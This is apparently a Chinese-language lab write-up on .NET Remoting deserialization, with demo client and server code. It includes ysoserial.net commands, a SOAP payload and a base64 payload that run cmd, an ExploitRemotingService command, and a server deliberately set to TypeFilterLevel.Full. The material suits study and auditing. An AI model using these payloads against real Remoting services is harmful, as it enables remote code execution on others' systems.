https://github.com/Y4er/dotnet-deserialization/blob/main/.NET%20Remoting.md

简介

.net remoting是一种在不同进程间传递对象的方式。假如两个不同的进程分别为服务端、客户端,客户端和服务端各自保存相同的一份对象(DLL),那么可以通过.net remoting技术来远程传递对象。拿java来讲更类似于rmi的概念。

.net remoting可以使用tcp、http、ipc协议来传输远程对象

三种协议的不同

三种协议都位于程序集System.Runtime.Remoting.dll,命名空间分别为System.Runtime.Remoting.Channels.Http、System.Runtime.Remoting.Channels.Tcp、System.Runtime.Remoting.Channels.Ipc

image-20240314145028945

其中不同协议用处不同:

  1. IpcChannel用于本机之间进程传输,使用ipc协议传输比HTTP、TCP速度要快的多,但是只能在本机传输,不能跨机器,本文不讲。
  2. TcpChannel基于tcp传输,将对象进行二进制序列化之后传输二进制数据流,比http传输效率更高。
  3. HttpChannel基于http传输,将对象进行soap序列化之后在网络中传输xml,兼容性更强。

.net remoting

先来以HttpChannel为例看一个demo了解.net remoting。需要三个项目,分别是

  1. RemoteDemoClient
  2. RemoteDemoServer
  3. RemoteDemoObject

分别表示客户端服务端要传输的对象

RemoteDemoObject(传输对象类)

RemoteDemoObject.RemoteDemoObjectClass需要继承MarshalByRefObject类才能跨域(AppDomain)远程传输。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
using System;
using System.Runtime.Remoting.Metadata;

namespace RemoteDemoObject
{
public class RemoteDemoObjectClass : MarshalByRefObject
{
public int count = 0;
[SoapMethod(XmlNamespace = "RemoteDemoObject1", SoapAction = "RemoteDemoObject#GetCount")]
public int GetCount()
{
Console.WriteLine("GetCount called.");
return count++;
}
}
}

这里在客户端和服务端的必须加上这个SoapMethod 不然会报错

image-20240314165435864

https://blog.csdn.net/sloder/article/details/8694560

RemoteDemoServer(服务端)

服务端注册HttpServerChannel并绑定在9999端口,然后RemotingConfiguration.RegisterWellKnownServiceType发布uri地址为RemoteDemoObjectClass.rem的远程调用对象,类型是RemoteDemoObjectClass。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using RemoteDemoObject;

namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
HttpServerChannel httpServerChannel = new HttpServerChannel(9999);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);

Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}

WellKnownObjectMode.Singleton这个东西没啥用 不注意就行了

RemoteDemoClient(客户端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
using RemoteDemoObject;
using System;

namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "http://localhost:9999/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress);

Console.WriteLine("call GetCount() get return value:{0}",obj1.GetCount());
Console.ReadKey();
}
}
}

读取远程地址 然后获取其对象 然后执行其里面的GetCount函数

运行结果

服务端

image-20240315101447980

客户端

image-20240315101458308

HttpServerChannel数据包

先使用bp来修改代理

image-20240315110035354

然后修改Client的代码 将原本9999端口改为8080端口

image-20240315110236767

image-20240315110317840

一看就是将数据进行soap序列化然后再进行传输

跟进代码进行分析

image-20240315110413176

跟进HttpServerChannel类

image-20240315110437774

跟进SetupChannel函数

image-20240315110506975

在判断sinkProvider参数为空的情况下 我们跟进这个CreateDefaultServerProviderChain函数

image-20240315110559136

image-20240315110700515

发现这里使用了一个Provider链,从SdlChannelSinkProvider->SoapServerFormatterSinkProvider->BinaryServerFormatterSinkProvider

而TcpServerChannel中,使用的是BinaryServerFormatterSinkProvider->SoapServerFormatterSinkProvider

由此可见http使用soap协议进行序列化,tcp使用binary进行序列化。

漏洞产生

我们再抓包的时候 发现了其实将类进行soap序列化之后进行传输的 如果我们修改传输的内容 是不是就可以RCE了?

yso生成poc

1
ysoserial.exe -f soapformatter -g TextFormattingRunProperties -c calc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3">&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-16&#34;?&#62;
&#60;ObjectDataProvider MethodName=&#34;Start&#34; IsInitialLoadEnabled=&#34;False&#34; xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:sd=&#34;clr-namespace:System.Diagnostics;assembly=System&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;&#62;
&#60;ObjectDataProvider.ObjectInstance&#62;
&#60;sd:Process&#62;
&#60;sd:Process.StartInfo&#62;
&#60;sd:ProcessStartInfo Arguments=&#34;/c calc&#34; StandardErrorEncoding=&#34;{x:Null}&#34; StandardOutputEncoding=&#34;{x:Null}&#34; UserName=&#34;&#34; Password=&#34;{x:Null}&#34; Domain=&#34;&#34; LoadUserProfile=&#34;False&#34; FileName=&#34;cmd&#34; /&#62;
&#60;/sd:Process.StartInfo&#62;
&#60;/sd:Process&#62;
&#60;/ObjectDataProvider.ObjectInstance&#62;
&#60;/ObjectDataProvider&#62;</ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

</SOAP-ENV:Body>标签去掉的时候 直接放入包中就行了

image-20240315111248404

当我们直接修改发包的时候 发现并没有弹出计算器 这里的原因就是客户端不会反序列化我们传入的类 因为不是其指定的类 这里就涉及到了这个TypeFilterLevel参数了

在上文中我们提到SoapServerFormatterSinkProvider和BinaryServerFormatterSinkProvider,这两个类都有一个重要的属性TypeFilterLevel根据文档可知其是枚举类型。

image-20240315111429821

那么我们将其设置为Full的时候 应该就能反序列化成功了

修改Server端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using System.Runtime.Serialization.Formatters;
using RemoteDemoObject;

namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
SoapServerFormatterSinkProvider soapServerFormatterSinkProvider = new SoapServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};

IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;

HttpServerChannel httpServerChannel = new HttpServerChannel(hashtables,soapServerFormatterSinkProvider);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);

Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}

image-20240315111622503

在HttpServerChannel中采用两个参数的重载,传入SoapServerFormatterSinkProvider,赋值TypeFilterLevel = TypeFilterLevel.Full。再次发包
image-20240315111716559

这次就成功的弹出了计算器

TcpServerChannel数据包

tcpServerChannel是以二进制的形式将数据进行传输 我们使用burp修改不了 这里只能使用工具来进行替代

这里修改一下客户端和服务端

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
using RemoteDemoObject;
using System;

namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "tcp://localhost:9999/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress);

Console.WriteLine("get string:\t{0}",obj1.GetCount());
Console.ReadKey();
}
}
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using System.Runtime.Serialization.Formatters;
using RemoteDemoObject;

namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};

IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;

TcpServerChannel httpServerChannel = new TcpServerChannel(hashtables,binary);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);

Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}

这里用wireshark来进行抓包 burp抓不了二进制流 跟踪TCP流

image-20240315142616014

发现数据流以2e 4e 45 54 .NET开头进行二进制传输远程调用方法、类型和命名空间。我们可以伪造tcp数据流来发送恶意二进制数据流进行反序列化RCE。

漏洞产生

Github上有一个现成的工具ExploitRemotingService,通过它的raw参数我们可以发送原始binary数据。先使用ysoserial.net生成base64的payload。

1
2
3
ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc -o base64

AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==

然后使用ExploitRemotingService发包

1
ExploitRemotingService.exe tcp://localhost:9999/RemoteDemoObjectClass.rem raw base64

image-20240315144115413

跟踪TCP流我们也发现了

image-20240315144159449

这些就是我们base64传输的内容

总结

这里偷一张Y4er师傅的图

image-20240315144342739

关注TcpChannel、HttpChannel及其子类所创建实例的TypeFilterLevel字段是否为Full。其实为Low的时候ExploitRemotingService也可以利用,但是要设置ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage", false;这个全局非默认配置,少见,仅作了解。

关注rem后缀的uri,可能就是.net remoting。